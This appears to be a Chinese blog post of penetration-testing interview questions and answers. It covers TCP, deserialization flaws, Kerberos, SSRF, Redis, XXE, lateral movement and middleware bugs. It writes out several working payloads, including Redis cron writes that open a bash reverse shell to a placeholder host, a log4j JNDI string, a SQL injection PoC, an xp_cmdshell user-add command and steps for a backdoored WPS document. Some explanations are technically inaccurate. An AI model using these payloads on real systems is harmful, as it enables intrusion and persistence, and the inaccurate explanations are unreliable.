• 网络安全面试


    tcp三次握手,四次挥手

    tcp三次握手是建立tcp连接时,客户端和服务端发送三个数据包,建立三次连接的目的是验证双方的接收能力和发送能力是否正常,第一次握手:客户端给服务端发一个 SYN 报文,指定初始化序列号为后面的可靠性传送做准备,第二次握手:服务端给客户端一个SYN,ACK报文,表示收到请求,第三处握手,客户端给服务端一个ACK报文确认,然后连接建立,开始传输数据,TCP三次握手可能出现SYN攻击问题,攻击者伪造不存在IP发送大量SYN包进行第一次握手,而服务端回复确认包时由于目标不存在,不断重发到超时,SYN攻击通过大量的半连接造成网络拥塞,是一种DDOS攻击

    四次挥手第一次挥手客户端发送一个 FIN 报文,停止发送数据,第二次挥手服务端发送确认报文,断开客户端到服务端的连接,第三次挥手服务端发送SYN,ACK报文表示想要断开和客户端的连接,第四次挥手客户端发送一个ACK包,断开服务端到客户端的连接 

    TCP和UDP区别

    Tcp是面向连接的,Udp是无连接的

    Tcp提供可靠的通信,Udp尽最大努力

    Tcp面向字节流,Udp面向报文

    Tcp连接是点到点的,Udp可以支持交互通信

    Tcp是全双工可靠信道,Udp是不可靠信道

    聊一聊java反序列化

    数据在互联网通信过程中需要通过searlize序列化实现安全可靠传输,反序列化会默认调用readobject方法,攻击者可以通过链式调用完成利用,比如java原生的urldns链,这条链有URL和hashmap两条链,hashmap有一个hashcode,URL也有一个hashcode,可以通过java的反射机制修改set值,使反序列化的时候执行url的getaddress方法,还有CC1链,CC1链也有一个transfrom接口继承searlize,里面有一个transform可以利用来实现任意方法调用,然后一步一步跟下去就是readobject方法,这个方法反序列化就会默认调用,可以利用他来实现链式调用

    Keberos协议,什么是黄金票据,白银票据

    Kerberos协议是一计算机种网络认证协议,需要客户端和服务端的双向认证,kerberos认证流程主要分为三步,第一步客户端向密钥分发中心的认证服务器AS进行认证,获得票据给予票据,即黄金票据,第二步客户端使用黄金票据向票据授予服务器TGS申请服务授予票据,第三步客户端拿着服务授予票据访问相应服务,黄金票据就是伪造了keberos通信中的身份票据TGT,白银票据就是服务票据,黄金票据可以使用该用户的所有服务,白银票据只能用该票据的服务,只有域管理员身份的票据才是黄金票据

    什么是Shiro反序列化漏洞

    shiro框架本身没有漏洞,登录框数据先序列化再使用aes加密再base64编码。shiro有一个默认密钥,如果没有修改默认密钥,就可以进行反向解密,通常可以利用扫描器判断是否是shiro框架,响应包里有Set-Cookie=RemerberME=deleteMe,确定shiro框架可以使用工具进行反序列化利用链的利用,修改序列化的字符串实现利用,shiro550和721的区别就是是否需要登录,其他利用都是一样的

    反序列化,系统漏洞怎么修复

    升级组件版本,对出现的漏洞打补丁

    给你一个网站,怎么做渗透测试

    先看有没有CDN,有就绕过获取真实IP,对网站的子域名和子目录进行探测,看是否有敏感文件,信息泄露,识别网站的语言,数据库,CMS信息,探测网站开放的端口,知道网站的业务和功能,使用扫描器进行一些漏洞的扫描,手动测试一下逻辑漏洞

    代码怎么审计

    我介绍一下小程序的代码审计吧,小程序的代码审计就是用NP和jeb这些工具来先对APP进行反编译,然后根据小程序的功能点比如VIP系统,账号注册和登录系统,上传头像等的地方,定位到具体的代码,然后还可以下断点进行调试,比如小程序对数据进行加密,可以进行逆向分析对加密数据进行解密,进行下一步的渗透

    介绍一下log4j漏洞

    log4j是apache的一个Java日志组件,log4j漏洞是一个2021年的漏洞,漏洞版本是2.14.0之前,log4j漏洞是因为log4j有一个lookup功能,使用${}可以进行执行,问题是lookup是基于jndi的,jndi(Java命名和目录接口是用于从Java应用程序中访问名称和目录服务的一组API)又支持rmi(远程方法调用,是一种API),黑客就可以搭建rmi,在登录框输入如${jndi:mi://192.168.3.21/evil},这个组件打印日志时,登录失败记录登录失败日志,就会将我们的输入用log4j进行打印,然后又因为lookup这个功能会执行黑客的恶意操作,遇到登录框可以尝试

    介绍一下用过的安全设备

    我用过微步的态势感知系统,这个设备有一个优点就是可以联动微步情报社区,分析出恶意IP,里面有一个自动刷新,十分钟刷新一次,这个态势感知系统还可以实时查看告警,查看攻击来源,点击告警就可以查看请求包响应包,根据内容判断是不是误报,不是误报就用防火墙封禁IP,这个设备还可以配合绿盟的IDS(入侵检测系统)只能检测不能封禁,IPS(入侵防御系统)不仅可以检测还可以封禁,IDS相当于一个镜像不会影响太多网络性能

    说一下你怎么做内网渗透

    首先要拿一台域内主机的权限,然后我会用CS的插件进行权限提升,使用高权限用户对内网端口进行探测,同时抓取hash值和明文密码和票据信息,然后就尝试横向移动,可以使用CS自带的也可以在已经控制的域机器设置一个SOCKS代理,直接使用主机工具,横向移动就是三种方式,PTT,PTK,PTH,不行还可以尝试RDP,一般尝试hash传递,看能不能hash传递拿到其他主机权限,然后继续搭建隧道,配置代理,上传CS木马,继续信息收集,最终横向移动到域控,由于杀毒软件的原因木马还要做免杀

    介绍一下你用的渗透测试工具

    Nessus

    扫描速度可以调快一点,快点扫完,关掉Nessus扫描器的ping功能,因为很可能目标开启了防火墙,如果ping不通就不发payload了,Nessus也有WEB扫描功能,但是一般用他的主机扫描功能,开了比较慢

    Xray

    Xray的被动扫描发送的流量比较小,Xray可以联动burp suite 使用,将burp抓到的包发给Xray,我们只需要配置好代理一直点就行,然后查看渗透测试报告

    聊一下CSRF和SSRF

    CSRF是客户端请求伪造,CSRF就是网站没有对客户身份进行严格验证,通过钓鱼来执行非客户本意的操作,如添加用户等,可以采用generatesessiontoken生成token值,checktoken检验token值,CSRF还可以配合XSS漏洞使用,将XSS触发指向构造的CSRF钓鱼网站,SSRF是服务端请求伪造,SSRF攻击是由攻击者构建然后由服务端发起,攻击从外部无法访问的内部系统,可以用file协议读取文件,http和dict来探测主机存活和端口开放情况,dict协议还可以探测非本地端口,Gopher协议可以同时支持get方式和post方式,例如结合redis未授权获得权限

    dict://172.72.23.27:6379/flushall  清除key

    dict://172.72.23.27:6379/config set dir /var/spool/cron/ 在定时任务目录下创建 root 的定时任务文件

    dict://172.72.23.27:6379/config set dbfilename root 写入 Bash 反弹 shell 的 payload

    dict://172.72.23.27:6379/set x '\n\n*/1 * * * * bash -i >%26 /dev/tcp/X.X.X.X/X 0>%261\n\n'

    # 保存上述操作dict://172.72.23.27:6379/save

    SSRF漏洞防御主要是限制报错信息防止端口探测,限制协议为http,白名单固定端口,黑名单内网IP 

    介绍一下XXE漏洞

    xxe漏洞即xml外部实体注入漏洞,XXE漏洞因为程序解析xml输入时,没有禁止外部实体加载,导致加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,xml是用来传输和存储数据,类似HTML的标记语言,可以抓包看是否有类似xml的东西,进行测试,实战一般用XXEinjector工具

    介绍一下redis未授权漏洞

    redis未授权主要是配置文件redis.conf没有配置好,比如bind 127.0.0.1关闭了,proect-mode关闭了,requirepass没有设置等,利用方式有ssh,ssh-keygen -t rsa生成公钥和私钥,导入密钥ssh连接即可,或者写计划任务反弹shell和写webshell用webshell连接工具连接

    说一下小程序渗透测试

    小程序渗透测试可以配置好代理和证书后像对web渗透测试那样抓包测试有没有sql注入,文件上传这些漏洞,和web渗透测试的区别是如果可以对小程序进行反编译就可以拿到小程序的源码对小程序进行代码审计白盒测试,逆向的关键点就是看有没有加壳,我一般用APKscan这个工具来识别加了什么壳,没有壳后用jadx来查看源码,或者是用模拟器的NP和MT来对进行修改,就是先通过程序的功能来定位程序源码,然后通过smile语法对照着java代码进行修改,对小程序逆向的一个作用就是如果小程序数据进行加密,逆向可以获取加密的方式,从而进行渗透

    注:视图:res的activity和xml目录,逻辑:dex

    护网期间的漏洞复现过吗

    复现过通达OA的SQL注入漏洞,这个漏洞在delete_log.php中的参数delete_str,漏洞POC1)and  (substr(database(),2,1))=char(68) and (select count(*) from information_schema.columns A,information_schema.columns B) and (1)=(1,然后还有蓝凌OA的任意文件读取漏洞,然后他有一个接口通过POST方式提交payload,通过file协议Linux可以访问/etc/passwd,Windows可以通过admin.properties获得系统后台的密码,然后他的返回值有默认密钥kmssAdminkey进行解密,我也用python写过这个漏洞的POC,最近的漏洞复现比如致远OA的任意用户密码重置漏洞,前台抓包直接修改就可以修改密码,还有就是WPS的远程代码执行漏洞了,首先攻击者写一个html文件,HTML文档里就是漏洞利用的POC,修改里面的弹计算器的shellcode改成CS生成的后门shellcode,开启web服务,然后把doc文件改成zip文件再解压,改里面的webextention.xml文件,把里面wpswe:url的地址指向写的html文件,当打开doc文档时就会上线,而且因为doc文档本身没有后门,可以实现免杀,实战中需要申请一个后缀为wps.cn域名,形成clientweb.docer.wps.cn.{xxx}wps.cn域名

    说一下你了解的逻辑漏洞

    账号密码登录处尝试暴力破解,找回密码处尝试任意用户密码找回越权漏洞,验证码处尝试短信轰炸漏洞,如果是jwt验证方式可以尝试jwt未授权访问漏洞,购买商品尝试修改金额和数量,提交订单尝试重放攻击

    你印象最深的一次渗透测试是什么

    除了MySQL数据库聊一下其他数据库的渗透测试思路

    比如access和mssql1433(sql server)一般都是asp语言,MySQL一般是PHP,Oracle数据库1521,对mssql的利用,主要有SA空/弱密码,SA老版本默认高权限,可以直接执行添加用户

    exec master..xp_cmdshell 'net user test 12345 /add'

    对Monggodb(27017)数据库,3.0之前不需要账号密码可以直接登录,平时除了MySQL数据库比较少遇到,一般直接用sqlmap扫描,或者直接对数据库账号密码进行爆破测试弱密码


    SQL注入读写文件函数

    读文件:load_file

    写文件:outfile,dumpfile

    具体payload

    union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php

    你了解哪些安全设备

    我在北京轨道交通那里值守的时候,比较了解过微步的态势感知系统,绿盟的WAF

    你是怎么做流量分析的

    比如有文件传输可以导出http对象,重点分析一下http报文,然后主要还是对关键字进行提取,比如sql注入里的select等,然后根据流量包判断攻击者的攻击流程

    说一下Fastjson反序列化漏洞

    fastjson是阿里的一个json工具,在fastjson1.2.24版本,这里的漏洞就是序列化数据是客户端发送的,如果把type属性改成恶意类型发送过去,接收方进行反序列化时,可以实现任意类的反序列化操作,一般使用JNDI注入工具搭建RMI服务器,然后生成payload发送执行

    Springboot未授权漏洞

    Spring Boot Actuator是spring boot的服务监控和管理中间件,这个未授权漏洞的原因是这个里面的接口可能会造成一些信息泄露,比如盗取cookie,还有探测到redis或者其他数据库等的端口信息可以尝试弱密码或者其他漏洞,还有spring有一个版本存在任意文件读取漏洞

    了解Strust2漏洞吗

    Struts是apache项目下的一个web 框架,有一个版本里面有一个命令执行漏洞,通过content-type的header头进行命令执行,通过Strust2对错误消息的处理进行回显

    你是怎么做CMS识别的

    我一般使用gotoscan这个工具,这个工具可以对内网环境的cms进行识别,外网CMS的话一般使用潮汐CMS等网站在线识别,识别出目标CMS就可以在网上寻找CMS的漏洞或者进行代码审计分析

    了解框架和中间件漏洞吗

    比如在ILS6.0的解析漏洞,在xx.asp下的文件会被当成asp文件执行,然后在ILS7.0图片地址后输入.php,也会将图片当成PHP文件解析,还有Apache的httpd多后缀解析漏洞 ,也会导致一个文件包含的问题  ,在Apache2.4.50版本还有一个目录穿越漏洞,可以构造../访问敏感文件,tomcat可以尝试默认账号密码tomcat,tomcat,可以将webshell改成war后缀上传后门,然后还有thinkphp5版本存在远程代码执行漏洞

    说一下你是怎么做代码审计的

    PHP的话先确定危险方法比如eval,assert,create_function等代码执行方法,readfile等文件读取方法,system,exec,shellexec等命令执行方法,然后根据这些方法看有没有魔法函数,一步步往上找,看能不能通过入口函数来控制危险方法

    hash传递原理

    hash传递利用的是NTML协议,这使得可以通过hash值来进行认证而不需要明文密码,通过抓取hash值,如果域内机器密码相同,就可以通过hash传递拿到权限

    了解一些JAVA的漏洞吗

    比如JAVA的weblogic,一般通过7001端口来判断,用工具来进行一些反序列化漏洞的利用

    HW

    监测组,研判组,应急溯源组

    XSS攻击有哪几种

    XSS攻击分为反射型,存储型,DOM型,反射型XSS主要出现在搜索框中,存储型XSS主要出现在留言板等,DOM型XSS是由于浏览器提供功能对前端代码进行修改,如果修改的数据可以由用户指定,就可能出现DOM型XSS攻击

  • 相关阅读:
    metaRTC5.0实现webrtc的TURN支持
    LeetCode220801_65、寻找两个正序数组的中位数
    centos安装python3/pip3项目所需的第三方模块(在线安装&&离线安装)
    华为BFD的配置规范
    GPT-我的左膀右臂
    Nginx反向代理与负载均衡与504错误
    供应叶酸PEG试剂Folic acid-PEG-Azide,FA-PEG-N3,叶酸-聚乙二醇-叠氮
    在mysql存储过程中动态拼接sql并执行
    adb shell命令
    异步请求库的实际应用案例:爬取豆瓣经典电影
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/133687351